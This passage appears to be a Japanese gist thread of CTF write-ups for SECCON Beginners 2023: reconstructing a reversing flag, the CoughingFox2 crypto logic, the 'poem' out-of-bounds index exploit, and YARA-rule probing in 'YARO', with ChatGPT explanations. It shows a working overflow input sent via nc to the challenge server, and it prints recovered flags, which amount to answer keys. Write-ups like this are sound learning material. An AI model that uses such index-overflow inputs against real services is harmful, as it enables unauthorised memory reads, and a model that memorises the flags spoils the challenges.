  3. ใƒ•ใƒฉใ‚ฐใŒๆญฃใ—ใ„้•ทใ•ใงใ‚ใ‚‹ๅ ดๅˆใ€ใ‚ณใƒผใƒ‰ใฏใƒ•ใƒฉใ‚ฐใฎๅ„ๆ–‡ๅญ—ใ‚’ๆคœ่จผใ—ใพใ™ใ€‚ใƒซใƒผใƒ—ใ‚ซใ‚ฆใƒณใ‚ฟ๏ผˆๅˆๆœŸๅ€คใฏ0๏ผ‰ใ‚’่จญๅฎšใ—ใ€ใƒ•ใƒฉใ‚ฐใฎๅ„ๆ–‡ๅญ—ใซๅฏพใ—ใฆๆฌกใฎๅ‡ฆ็†ใ‚’ๅฎŸ่กŒใ—ใพใ™ใ€‚
  4. ใƒซใƒผใƒ—ใ‚ซใ‚ฆใƒณใ‚ฟใ‚’3ใงๅ‰ฒใฃใŸไฝ™ใ‚Šใ‚’่จˆ็ฎ—ใ—ใพใ™ใ€‚
  5. ไฝ™ใ‚ŠใŒ0ใฎๅ ดๅˆใ€ใƒ•ใƒฉใ‚ฐใฎ่ฉฒๅฝ“ๆ–‡ๅญ—ใฏ flag_0 ้…ๅˆ—ใ‹ใ‚‰ๅพ—ใ‚‰ใ‚Œใ‚‹ในใๅ€คใจไธ€่‡ดใ™ใ‚‹ใ“ใจใ‚’ๆœŸๅพ…ใ—ใพใ™ใ€‚
  6. ไฝ™ใ‚ŠใŒ1ใฎๅ ดๅˆใ€ใƒ•ใƒฉใ‚ฐใฎ่ฉฒๅฝ“ๆ–‡ๅญ—ใฏ flag_1 ้…ๅˆ—ใ‹ใ‚‰ๅพ—ใ‚‰ใ‚Œใ‚‹ในใๅ€คใจไธ€่‡ดใ™ใ‚‹ใ“ใจใ‚’ๆœŸๅพ…ใ—ใพใ™ใ€‚
  7. ไฝ™ใ‚ŠใŒ2ใฎๅ ดๅˆใ€ใƒ•ใƒฉใ‚ฐใฎ่ฉฒๅฝ“ๆ–‡ๅญ—ใฏ flag_2 ้…ๅˆ—ใ‹ใ‚‰ๅพ—ใ‚‰ใ‚Œใ‚‹ในใๅ€คใจไธ€่‡ดใ™ใ‚‹ใ“ใจใ‚’ๆœŸๅพ…ใ—ใพใ™ใ€‚
  8. ใƒ•ใƒฉใ‚ฐใฎๅ„ๆ–‡ๅญ—ใŒๆœŸๅพ…ใ—ใŸๅ€คใจไธ€่‡ดใ™ใ‚‹ๅ ดๅˆใ€ใƒซใƒผใƒ—ใฏๆฌกใฎๆ–‡ๅญ—ใซ็งปใ‚Šใพใ™ใ€‚ใใ†ใงใชใ„ๅ ดๅˆใ€้–ขๆ•ฐใฏไฝ•ใ‹ใฎใƒกใƒƒใ‚ปใƒผใ‚ธใ‚’่กจ็คบใ—ใ€1ใ‚’่ฟ”ใ—ใพใ™ใ€‚
  9. ใƒ•ใƒฉใ‚ฐใฎใ™ในใฆใฎๆ–‡ๅญ—ใŒๆœŸๅพ…้€šใ‚Šใฎๅ€คใงใ‚ใ‚‹ๅ ดๅˆใ€้–ขๆ•ฐใฏไฝ•ใ‹ใฎใƒกใƒƒใ‚ปใƒผใ‚ธใ‚’่กจ็คบใ—ใ€0ใ‚’่ฟ”ใ—ใพใ™ใ€‚

ใ“ใฎ้–ขๆ•ฐใŒใฉใฎใ‚ˆใ†ใซใƒ•ใƒฉใ‚ฐใ‚’ๆคœ่จผใ™ใ‚‹ใ‹ใฏใ€flag_0ใ€flag_1ใ€flag_2 ้…ๅˆ—ใฎๅ†…ๅฎนใซๅคงใใไพๅญ˜ใ—ใพใ™ใ€‚ใŠใใ‚‰ใใ€ใ“ใ‚Œใ‚‰ใฏใƒ•ใƒฉใ‚ฐใ‚’ๆคœ่จผใ™ใ‚‹ใŸใ‚ใฎ็‰นๅฎšใฎใƒ‘ใ‚ฟใƒผใƒณใ‚’ๅซใ‚“ใงใ„ใ‚‹ใงใ—ใ‚‡ใ†ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

hassaku63 commented Jun 3, 2023

ChatGPT ใฎๅ›ž็ญ”ใจใ€flag_0 - 2 ใ‚’่ฆ‹ใฆใฟใ‚‹

c4c_ub__dt_r_1_4}
tb4y_1tu04tesifg
f{n0ae0n_e4ept13

1ๆ–‡ๅญ—ใšใคๆ‹พใฃใฆใ„ใ‘ใฐใใ‚Œใฃใฝใ„ๆ–‡ๅญ—ๅˆ—ใซใชใ‚‹ใ‚ˆใ†ใซ่ฆ‹ใˆใฆใใ‚‹ใ€‚Python ใง็ต„ใฟ็ซ‹ใฆใ‚‹ใ€‚

>>> x = ['c4c_ub__dt_r_1_4}',
'tb4y_1tu04tesifg',
'f{n0ae0n_e4ept13']

>>> x
['c4c_ub__dt_r_1_4}', 'tb4y_1tu04tesifg', 'f{n0ae0n_e4ept13']

>>> tmp = list(zip(*x))

>>> from functools import reduce
>>> tmp
[('c', 't', 'f'), ('4', 'b', '{'), ('c', '4', 'n'), ('_', 'y', '0'), ('u', '_', 'a'), ('b', '1', 'e'), ('_', 't', '0'), ('_', 'u', 'n'), ('d', '0', '_'), ('t', '4', 'e'), ('_', 't', '4'), ('r', 'e', 'e'), ('_', 's', 'p'), ('1', 'i', 't'), ('_', 'f', '1'), ('4', 'g', '3')]

>>> reduce(lambda a,b: a+b, tmp)
('c', 't', 'f', '4', 'b', '{', 'c', '4', 'n', '_', 'y', '0', 'u', '_', 'a', 'b', '1', 'e', '_', 't', '0', '_', 'u', 'n', 'd', '0', '_', 't', '4', 'e', '_', 't', '4', 'r', 'e', 'e', '_', 's', 'p', '1', 'i', 't', '_', 'f', '1', '4', 'g', '3')

>>> ''.join(reduce(lambda a,b: a+b, tmp))
'ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3'

ๆœ€ๅพŒใฎ้–‰ใ˜ใ‚ซใƒƒใ‚ณใ ใ‘ใŒๆŠœใ‘ใฆใ„ใ‚‹ใฎใงใ€ใใ‚Œใ‚’่ฃœๅฎŒใ—ใฆๅ›ž็ญ”ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

CoughingFox2

ๅ…ƒใฎๆ•ฐๅˆ—ใŒ x ใงๆš—ๅทๅŒ–ใ•ใ‚ŒใŸๆ•ฐๅˆ—ใŒ y ใจใ™ใ‚‹ใจใ€

y[i] ใ‹ใ‚‰ 0 - (len(y) + 1) ใพใงใฎๆ•ฐๅญ—ใ‚’ๅผ•ใ„ใŸๅ ดๅˆใซใชใซใ‹ใ—ใ‚‰ๆ•ดๆ•ฐๅ€คใฎ2ไน—ใซใชใฃใฆใ„ใ‚‹ใ“ใจใŒใ‚ใ‹ใ‚‹

ใ™ในใฆใฎ y[i] ใซใคใ„ใฆใใ‚Œใ‚’ใ—ใ‚‰ใฟใคใถใ—ใซๆŽข็ดขใ™ใ‚‹ใจใ€ใ™ในใฆใฎ y[i] ใฏๆ•ดๆ•ฐๅ€คใงๅนณๆ–นๆ นใŒๅ–ใ‚Œใ‚‹ใƒ‘ใ‚ฟใƒผใƒณใŒใŸใ 1ใคใ ใ‘ๅญ˜ๅœจใ™ใ‚‹ใ“ใจใŒใ‚ใ‹ใฃใŸใ€‚

ใ‚ˆใฃใฆใ€ๅนณๆ–นๆ นใŒ่จˆ็ฎ—ใงใใŸ้š›ใฎ i ใฎๅ€คใ‚’ๆทปใˆๅญ—ใจใ—ใฆไธฆในๆ›ฟใˆใ™ใ‚‹ใ“ใจใง y'[i] = x[i] + x[i+1] ใฎ็Šถๆ…‹ใพใงใฏ็ณปๅˆ—ใ‚’ๅพฉๅ…ƒใงใใ‚‹ใ€‚

ๅ•้กŒใฎๆกไปถใ‚ˆใ‚Š x[0] ใฏ c ใจๆฑบใพใฃใฆใ„ใ‚‹ใ€‚ใ“ใ‚Œใฏใ€ใƒ•ใƒฉใ‚ฐใฏ ctf4b ใงๅง‹ใพใ‚‹ๆ–‡ๅญ—ๅˆ—ใงใ‚ใ‚‹ใŸใ‚ใ€‚

x[0] ใจ y ใŒๆ‰€ไธŽใงใ‚ใ‚Œใฐใ™ในใฆใฎ x[i] ใฏ่จˆ็ฎ—ๅฏ่ƒฝใ€‚

x[i] = y[i+1] - x[i+1]

ใ“ใฎ็ตๆžœๅพ—ใ‚‰ใ‚ŒใŸ x ใ‚’ๆ–‡ๅญ—ใซๅค‰ๆ›ใ™ใ‚Œใฐใ‚ˆใ„ใ€‚

# x = [ ... ]

result = map(chr, x)

print(''.join(result))

@hassaku63
Copy link
Copy Markdown
Author

poem

ใ‚ณใƒผใƒ‰ใŒๅฏพใ—ใŸ้‡ใ˜ใ‚ƒใชใ„ใฎใงใ€ใฒใจใพใš ChatGPT ใซใ‚ณใƒผใƒ‰ใ‚’่ชญใพใ›ใฆๅฎŸ่ฃ…ๅ†…ๅฎนใ‚’่งฃ่ชฌใ•ใ›ใฆใฟใ‚‹


ไปฅไธ‹ใฏCTF pwnable ๅ•้กŒใฎใ‚ณใƒผใƒ‰ใงใ™ใ€‚
ใ“ใฎใ‚ณใƒผใƒ‰ใฎๅฎŸ่ฃ…ๅ†…ๅฎนใ‚’่งฃ่ชฌใ—ใฆใใ ใ•ใ„

๏ผˆไปฅไธ‹ใ‚ณใƒผใƒ‰ใ‚นใƒ‹ใƒšใƒƒใƒˆ๏ผ‰

ใ“ใฎC่จ€่ชžใฎใ‚ณใƒผใƒ‰ใฏใ€ใƒฆใƒผใ‚ถใซๆ•ฐๅญ—ใ‚’ๅ…ฅๅŠ›ใ•ใ›ใฆ่ฉฒๅฝ“ใ™ใ‚‹่ฉฉใ‚’่กจ็คบใ™ใ‚‹ใƒ—ใƒญใ‚ฐใƒฉใƒ ใงใ™ใŒใ€ใใฎๅฎŸ่ฃ…ใซใฏ่„†ๅผฑๆ€งใŒๅซใพใ‚Œใฆใ„ใพใ™ใ€‚

ใพใšใฏใ€ๅคงใพใ‹ใชใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎๅ‹•ไฝœใซใคใ„ใฆ่งฃ่ชฌใ—ใพใ™ใ€‚

ใƒ—ใƒญใ‚ฐใƒฉใƒ ใŒ่ตทๅ‹•ใ™ใ‚‹ใจใ€ๅˆใ‚ใซ__attribute__((constructor))ใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใŒไป˜ใ„ใŸinit้–ขๆ•ฐใŒๅ‘ผใณๅ‡บใ•ใ‚Œใพใ™ใ€‚ใ“ใฎ้–ขๆ•ฐใงใฏๆจ™ๆบ–ๅ…ฅๅŠ›(stdin)ใจๆจ™ๆบ–ๅ‡บๅŠ›(stdout)ใฎใƒใƒƒใƒ•ใ‚กใƒชใƒณใ‚ฐใ‚’็„กๅŠนใซใ—ใ€ใพใŸ60็ง’ๅพŒใซใƒ—ใƒญใ‚ฐใƒฉใƒ ใ‚’ๅผทๅˆถ็ต‚ไบ†ใ™ใ‚‹alarm้–ขๆ•ฐใ‚’่จญๅฎšใ—ใพใ™ใ€‚

ๆฌกใซใ€main้–ขๆ•ฐใŒๅฎŸ่กŒใ•ใ‚Œใพใ™ใ€‚ใƒฆใƒผใ‚ถใซๆ•ฐๅญ—ใ‚’ๅ…ฅๅŠ›ใ•ใ›ใ€ใใฎๆ•ฐๅญ—ใซๅฏพๅฟœใ—ใŸ่ฉฉใ‚’่กจ็คบใ—ใพใ™ใ€‚ๆ•ฐๅญ—ใฏ0ใ‹ใ‚‰4ใฎ็ฏ„ๅ›ฒๅ†…ใงใ‚ใ‚‹ใ“ใจใŒๆœŸๅพ…ใ•ใ‚Œใฆใ„ใพใ™ใ€‚

ใ“ใฎใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎ่„†ๅผฑๆ€งใฏใ€้…ๅˆ—poemใธใฎใ‚ขใ‚ฏใ‚ปใ‚นใซใ‚ใ‚Šใพใ™ใ€‚scanf้–ขๆ•ฐใงใƒฆใƒผใ‚ถใ‹ใ‚‰ๅ…ฅๅŠ›ใ‚’ๅ—ใ‘ๅ–ใ‚Šใ€ใใฎๅ€คใ‚’็›ดๆŽฅ้…ๅˆ—poemใฎใ‚คใƒณใƒ‡ใƒƒใ‚ฏใ‚นใจใ—ใฆไฝฟ็”จใ—ใฆใ„ใพใ™ใ€‚ใ—ใ‹ใ—ใ€ใ“ใฎๅ€คใฎ็ฏ„ๅ›ฒใ‚’ใƒใ‚งใƒƒใ‚ฏใ™ใ‚‹้š›ใซใ€่ฒ ใฎๅ€คใ‚„ๅคงใใ™ใŽใ‚‹ๅ€คใซๅฏพใ™ใ‚‹ใƒใ‚งใƒƒใ‚ฏใŒ่กŒใ‚ใ‚Œใฆใ„ใพใ›ใ‚“ใ€‚ใ—ใŸใŒใฃใฆใ€ใƒฆใƒผใ‚ถใฏ5ไปฅไธŠใฎๆ•ฐๅ€คใ‚„่ฒ ใฎๆ•ฐๅ€คใ‚’ๅ…ฅๅŠ›ใ™ใ‚‹ใ“ใจใง้…ๅˆ—ใฎ็ฏ„ๅ›ฒๅค–ใซใ‚ขใ‚ฏใ‚ปใ‚นใงใใ€ใ“ใ‚Œใซใ‚ˆใ‚Šๆ„ๅ›ณใ—ใชใ„ใƒกใƒขใƒช้ ˜ๅŸŸใฎๅ†…ๅฎนใ‚’่ชญใฟๅ‡บใ™ใ“ใจใŒๅฏ่ƒฝใซใชใ‚Šใพใ™ใ€‚

CTF๏ผˆCapture The Flag๏ผ‰ใฎpwnableๅ•้กŒใงใฏใ€ใ“ใฎใ‚ˆใ†ใช่„†ๅผฑๆ€งใ‚’็ชใใ“ใจใงใƒ•ใƒฉใ‚ฐใจๅ‘ผใฐใ‚Œใ‚‹็ง˜ๅฏ†ใฎๆ–‡ๅญ—ๅˆ—ใ‚’่ชญใฟๅ‡บใ™ใ“ใจใŒ็›ฎๆŒ‡ใ•ใ‚Œใพใ™ใ€‚ใ“ใฎใ‚ณใƒผใƒ‰ใฎๅ ดๅˆใ€"ctf4b{CENSORED}"ใจใ„ใ†ใƒ•ใƒฉใ‚ฐใ‚’ๆ ผ็ดใ—ใฆใ„ใ‚‹ๅค‰ๆ•ฐflagใ‚’ใƒฆใƒผใ‚ถใŒ้ฉๅˆ‡ใชๅ…ฅๅŠ›ใ‚’้€šใ˜ใฆ่ชญใฟๅ‡บใ™ใ“ใจใŒๅ•้กŒใฎ็›ฎ็š„ใจใชใ‚‹ใงใ—ใ‚‡ใ†ใ€‚

ใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใ ใ‚ใ†ใชใจใ„ใ†ใฎใฏใชใ‚“ใจใชใๅฏŸใ—ใŒใคใใฎใงใ€ๅ…ˆใซ็Ÿฅใ‚‰ใชใ„ๆ–‡ๆณ•ใ‚’่žใ„ใฆใฟใŸใ€‚

ใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใจใฏใฉใ†ใ„ใฃใŸใ‚‚ใฎใงใ™ใ‹๏ผŸ
ไปŠๅ›žใฎใ‚ณใƒผใƒ‰ใงๅฎŸ่ฃ…ใ•ใ‚Œใฆใ„ใ‚‹ๅ†…ๅฎนใ ใจใฉใฎใ‚ˆใ†ใชๆ„ๅ‘ณใซใชใ‚Šใพใ™ใ‹๏ผŸ

ใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใจใฏใ€ใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎใ‚ณใƒผใƒ‰ใซใƒกใ‚ฟใƒ‡ใƒผใ‚ฟใ‚’่ฟฝๅŠ ใ™ใ‚‹ใŸใ‚ใฎๆ‰‹ๆฎตใฎไธ€ใคใงใ€ใใฎ่จ€่ชžใฎใ‚ณใƒณใƒ‘ใ‚คใƒฉใ‚„ใ‚คใƒณใ‚ฟใƒ—ใƒชใ‚ฟใซ็‰นๅฎšใฎๆŒฏใ‚‹่ˆžใ„ใ‚’ใ•ใ›ใ‚‹ใŸใ‚ใซไฝฟใ‚ใ‚Œใพใ™ใ€‚ใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใฏไธ€่ˆฌ็š„ใซใฏใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎๅ‹•ไฝœใใฎใ‚‚ใฎใ‚’ๅค‰ๆ›ดใ—ใพใ›ใ‚“ใŒใ€ใ‚ณใƒณใƒ‘ใ‚คใƒซๆ™‚ใ‚„ๅฎŸ่กŒๆ™‚ใฎๆŒฏใ‚‹่ˆžใ„ใซๅฝฑ้Ÿฟใ‚’ไธŽใˆใ‚‹ใ“ใจใŒใ‚ใ‚Šใพใ™ใ€‚

ไปŠๅ›žใฎC่จ€่ชžใฎใ‚ณใƒผใƒ‰ใซใŠใ„ใฆ__attribute__((constructor))ใจใ„ใ†ใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใŒไฝฟใ‚ใ‚Œใฆใ„ใพใ™ใ€‚ใ“ใฎใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใฏใ€GNU C Compiler (GCC) ใฎๆฉŸ่ƒฝใงใ€ใใฎ้–ขๆ•ฐใ‚’ใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎใƒกใ‚คใƒณ้–ขๆ•ฐใŒๅฎŸ่กŒใ•ใ‚Œใ‚‹ๅ‰ใซๅฎŸ่กŒใ•ใ›ใ‚‹ใจใ„ใ†ๆ„ๅ‘ณใ‚’ๆŒใกใพใ™ใ€‚

ๅ…ทไฝ“็š„ใซใฏใ€init้–ขๆ•ฐใซ__attribute__((constructor))ใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใŒใคใ‘ใ‚‰ใ‚Œใฆใ„ใ‚‹ใŸใ‚ใ€ใ“ใฎ้–ขๆ•ฐใฏใƒ—ใƒญใ‚ฐใƒฉใƒ ใŒ้–‹ๅง‹ใ™ใ‚‹ใจใ™ใใซๅ‘ผใณๅ‡บใ•ใ‚Œใพใ™ใ€‚ใ“ใฎ้–ขๆ•ฐใงใฏๆจ™ๆบ–ๅ…ฅๅŠ›ใจๆจ™ๆบ–ๅ‡บๅŠ›ใฎใƒใƒƒใƒ•ใ‚กใƒชใƒณใ‚ฐใŒ็„กๅŠนๅŒ–ใ•ใ‚Œใ€ใพใŸ60็ง’ๅพŒใซใƒ—ใƒญใ‚ฐใƒฉใƒ ใŒ็ต‚ไบ†ใ™ใ‚‹ใ‚ˆใ†ใซ่จญๅฎšใ•ใ‚Œใฆใ„ใพใ™ใ€‚ใ“ใฎใ‚ˆใ†ใซใ€attribute((constructor))ใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใฏใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎๅˆๆœŸ่จญๅฎšใ‚’่กŒใ†ใŸใ‚ใซๅˆฉ็”จใ™ใ‚‹ใ“ใจใŒใงใใพใ™ใ€‚

ใ“ใฎใ‚ขใƒŽใƒ†ใƒผใ‚ทใƒงใƒณใฏGCC็‰นๆœ‰ใฎใ‚‚ใฎใงใ‚ใ‚Šใ€ไป–ใฎC่จ€่ชžใฎใ‚ณใƒณใƒ‘ใ‚คใƒฉใงใฏๅˆฉ็”จใงใใชใ„ๅฏ่ƒฝๆ€งใŒใ‚ใ‚‹็‚นใซๆณจๆ„ใŒๅฟ…่ฆใงใ™ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

setvbuf ใซใคใ„ใฆใ€‚

https://www.ibm.com/docs/ja/i/7.3?topic=functions-setvbuf-control-buffering

ๆ›ธใ‹ใ‚Œใฆใ„ใ‚‹ๅ†…ๅฎนใƒป็พๅฎŸ่ฃ…ใจ AI ใฎๅ›ž็ญ”ใซ้ฝŸ้ฝฌใฏใชใ•ใใ†ใ€‚

alarm ใ‚‚ SIGALARM ใ‚’ๅ‘ผใณๅ‡บใ™ไป•ๆง˜ใจใ‚ใ‚Šใ€AI ใฎๅ›ž็ญ”ใจใ‚ใฃใฆใใ†ใ€‚

https://linuxjm.osdn.jp/html/LDP_man-pages/man2/alarm.2.html

@hassaku63
Copy link
Copy Markdown
Author

ใŸใถใ‚“ใ€scanf ใ—ใŸ็›ดๅพŒใฎใƒใƒชใƒ‡ใƒผใ‚ทใƒงใƒณ้€šใฃใฆใ‹ใ‚‰ไบบ็‚บ็š„ใซ n ใ‚’ๆ›ธใๆ›ใˆใฆใ‚ใ’ใŸใ‚‰ flag ใ‚’่ฆ‹ใซใ„ใ‘ใ‚‹ใ‚“ใ˜ใ‚ƒใชใ„ใ‹๏ผŸใจๆ€ใฃใŸ

่ฒ ใฎๆ•ฐใ‚’ใƒใ‚งใƒƒใ‚ฏใ—ใฆใชใ„ใฎใงใใ“ใ‚’็ชใ‘ใใ†ใ€‚

radare2 ใงใ‚ทใƒณใƒœใƒซ็ขบ่ชใ—ใฆใฟใ‚‹ใ€‚EC2 ใซใ‚ฝใƒผใ‚นใ ใ‘่ปข้€ใ—ใฆใ‚ณใƒณใƒ‘ใ‚คใƒซใ—็›ดใ—ใฆใ‚‹ใฎใงใ€ๅพฎๅฆ™ใซ็ตๆžœใŒๅค‰ใ‚ใ‚‹ใ‹ใ‚‚๏ผŸ

66  ---------- 0x00004068 GLOBAL NOTYPE 0        __bss_start
67  0x000011e9 0x000011e9 GLOBAL FUNC   135      main
69  0x00003040 0x00004040 GLOBAL OBJ    40       poem
71  ---------- 0x00004068 GLOBAL OBJ    0        __TMC_END__
73  0x00003020 0x00004020 GLOBAL OBJ    8        flag

้•ทใ•5ใฎ้…ๅˆ—ใงใ€ใƒใ‚คใƒณใ‚ฟใฏ 8byte ใฃใฝใ„ใ€‚ใงใ€n ใŒ 5 ใง้€šใ‚‹ใ‚ˆใ†ใซไป•ๅ‘ใ‘ใ‚‰ใ‚Œใ‚Œใฐ่‰ฏใ•ใใ†๏ผŸใจใ„ใ†ๆ„Ÿใ˜ใซ่ฆ‹ใˆใ‚‹ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

printf("size: %lu\n", sizeof(int));
// size: 4

ๆ‰‹ๅ…ƒใฎ Mac ใงใฏๅ…ฅๅŠ›ใฏ4byte ใจใ„ใ†ใ“ใจใซใชใ‚‹ใ€‚

่ฉฆใ—ใซ 4byte ใงใฏใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใ—ใฆ 0 ใซใชใ‚‹ๆ•ฐๅ€คใ‚’ๅ…ฅใ‚Œใฆใฟใ‚‹ใ€‚

In [23]: 2 ** 32
Out[23]: 4294967296
nc poem.beginners.seccon.games 9000
Number[0-4]: 4294967296
// In the depths of silence, the universe speaks.

ใจใ„ใ†ใ“ใจใง 0 ใ‚’ๅ…ฅๅŠ›ใ—ใŸๅ ดๅˆใจๅŒใ˜ใ‚ˆใ†ใซๅๅฟœใ™ใ‚‹ใ€‚

ใ“ใ“ใ‹ใ‚‰ 4byte ๆˆปใ›ใฐใŠใใ‚‰ใ flag (ใƒใ‚คใƒณใ‚ฟๅž‹ใชใฎใงใ“ใ‚Œใ‚‚ 4byte ใงใ‚ใ‚ใ†ใจไบˆๆƒณ) ใ‚’่ฆ‹ใซ่กŒใใงใ‚ใ‚ใ†ใจไปฎ่ชฌใ‚’็ซ‹ใฆใฆใฟใ‚‹ใ€‚

4294967296 - 4 = 4294967292 ใ‚’ๆธกใ™ใ€‚

nc poem.beginners.seccon.games 9000
Number[0-4]: 4294967292
// ctf4b{xxxxxxxxxx}

ใจใ„ใ†ใ“ใจใงๅ›ž็ญ”ใ‚‰ใ—ใใ‚‚ใฎใŒๅ‡บใฆใใŸใ€‚

@hassaku63
Copy link
Copy Markdown
Author

YARO

CTF ใฃใฝใ„ไพๅญ˜้–ขไฟ‚ใŒใ‚ใ‚‹ใฃใฝใ„

https://pypi.org/project/yara-python/
https://pypi.org/project/pwntools/

timeout-decorator ใฏใ ใ„ใŸใ„ๆƒณๅƒใคใใฎใงOK

yara-python ใฏ yara ใจใ„ใ†ใƒ„ใƒผใƒซใ‚’ python ใ‹ใ‚‰ไฝฟใˆใ‚‹ใ‚ˆใ†ใซใ—ใŸใ‚‚ใฎใฃใฝใ„ใ€‚

ChatGPT ใซ่žใ„ใฆใฟใŸ

yara ใจใ„ใ†ใƒ„ใƒผใƒซใซใคใ„ใฆใ€ๆ•™ใˆใฆใใ ใ•ใ„

YARAใฏใ€็‰นๅฎšใฎใƒžใƒซใ‚ฆใ‚งใ‚ขใ‚’่ญ˜ๅˆฅใ—ใ€ๅˆ†้กžใ™ใ‚‹ใŸใ‚ใฎใƒซใƒผใƒซใƒ™ใƒผใ‚นใฎใƒ„ใƒผใƒซใงใ™ใ€‚YARAใฏใ€ใƒ‘ใ‚ฟใƒผใƒณใƒžใƒƒใƒใƒณใ‚ฐใ‚จใƒณใ‚ธใƒณใจใ—ใฆๅบƒใไฝฟใ‚ใ‚Œใ€ใใ‚Œใ‚’็”จใ„ใฆใƒžใƒซใ‚ฆใ‚งใ‚ขใ‚ตใƒณใƒ—ใƒซใฎ็‰นๅพดใ‚„ๅ‹•ไฝœใƒ‘ใ‚ฟใƒผใƒณใ‚’ๅฎš็พฉใ™ใ‚‹ใ“ใจใŒๅฏ่ƒฝใงใ™ใ€‚

YARAใฎใƒซใƒผใƒซใฏใ€ใƒ†ใ‚ญใ‚นใƒˆใƒ™ใƒผใ‚นใงใ€่ค‡ๆ•ฐใฎใ‚ปใ‚ฏใ‚ทใƒงใƒณ๏ผˆใƒกใ‚ฟใƒ‡ใƒผใ‚ฟใ€ใƒซใƒผใƒซๆœฌไฝ“ใ€ๆ–‡ๅญ—ๅˆ—ๅฎš็พฉ๏ผ‰ใ‚’ๆŒใคใ“ใจใŒไธ€่ˆฌ็š„ใงใ™ใ€‚ใ“ใ‚Œใซใ‚ˆใ‚Šใ€้ซ˜ๅบฆใซใ‚ซใ‚นใ‚ฟใƒžใ‚คใ‚บๅฏ่ƒฝใชใƒžใƒซใ‚ฆใ‚งใ‚ขๆคœๅ‡บใ‚’ๅฏ่ƒฝใซใ—ใฆใ„ใพใ™ใ€‚

ใ“ใ‚Œใ‚‰ใฎใƒซใƒผใƒซใฏใ€ๅฏพ่ฑกใฎใƒใ‚คใƒŠใƒชใƒ•ใ‚กใ‚คใƒซใ‚„ใ‚นใ‚ฏใƒชใƒ—ใƒˆไธญใซๅญ˜ๅœจใ™ใ‚‹็‰นๅฎšใฎๆ–‡ๅญ—ๅˆ—ใƒ‘ใ‚ฟใƒผใƒณใ€ใƒใ‚คใƒˆใ‚ทใƒผใ‚ฑใƒณใ‚นใ€ใ‚ใ‚‹ใ„ใฏใใฎไป–ใฎ็‰นๆ€งใซๅฏพใ—ใฆใƒžใƒƒใƒใƒณใ‚ฐใ‚’่กŒใ„ใพใ™ใ€‚ใƒžใƒƒใƒใ—ใŸใƒซใƒผใƒซใฏใƒžใƒซใ‚ฆใ‚งใ‚ขใฎ็‰นๆ€งใ‚„ใ‚ฟใ‚คใƒ—ใ‚’็คบใ™ใ‚‚ใฎใงใ€ใ“ใ‚Œใ‚’็”จใ„ใฆ่ฉณ็ดฐใชๅˆ†ๆžใ‚„ๅฏพ็ญ–ใ‚’่กŒใ†ใ“ใจใŒใงใใพใ™ใ€‚

YARAใฏๆƒ…ๅ ฑใ‚ปใ‚ญใƒฅใƒชใƒ†ใ‚ฃใ‚ณใƒŸใƒฅใƒ‹ใƒ†ใ‚ฃใงๅบƒใๅˆฉ็”จใ•ใ‚ŒใฆใŠใ‚Šใ€ใ‚ตใ‚คใƒใƒผใ‚ปใ‚ญใƒฅใƒชใƒ†ใ‚ฃใฎๅฐ‚้–€ๅฎถใŸใกใฏใ€ๆ–ฐใŸใช่„…ๅจใ‚’็‰นๅฎšใ—ใ€ๅˆ†ๆžใ—ใ€่ฟฝ่ทกใ™ใ‚‹ใŸใ‚ใซYARAใƒซใƒผใƒซใ‚’ไฝœๆˆใŠใ‚ˆใณๅ…ฑๆœ‰ใ—ใพใ™ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

hassaku63 commented Jun 3, 2023

้ฉๅฝ“ใซใƒซใƒผใƒซๆ›ธใ„ใฆใฟใŸใ‘ใฉใชใ‚“ใ‹้•ใ†ใ‚‰ใ—ใ„

rule ctf_string {
    strings:
        $ctf_flag /ctf4b{[0x21-0x7e\s]+}/
    condition:
        $ctf_flag
}

@hassaku63
Copy link
Copy Markdown
Author

ใ“ใ†ใ„ใ† Rule ใซใ—ใŸใ‚‰ๅผ•ใฃใ‹ใ‹ใฃใŸ

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b/
    condition:
        $ctf_flag
}
OK. Now I find the malware from this rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b/
    condition:
        $ctf_flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [ctf_string]
Not found: ./requestments.txt

ใŸใถใ‚“ใ€flag.txt ใฎไธญใŒ่ฆ‹ใ‚Œใ‚Œใฐใ„ใ„ใ‚“ใ˜ใ‚ƒใชใ„ใ‹ใจใ„ใ†ๆฐ—ใŒใ™ใ‚‹

@hassaku63
Copy link
Copy Markdown
Author

hassaku63 commented Jun 3, 2023

ChatGPT ใ•ใ‚“ใซ็›ดใ—ใฆใ‚‚ใ‚‰ใฃใŸใ€‚

ไปฅไธ‹ใฎใƒซใƒผใƒซใฏใ€ๆญฃใ—ใ„่จ˜่ฟฐใงใ™ใ‹๏ผŸ

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[0x21-0x7e\s]+}/
    condition:
        $ctf_flag
}

ๅ›ž็ญ”:

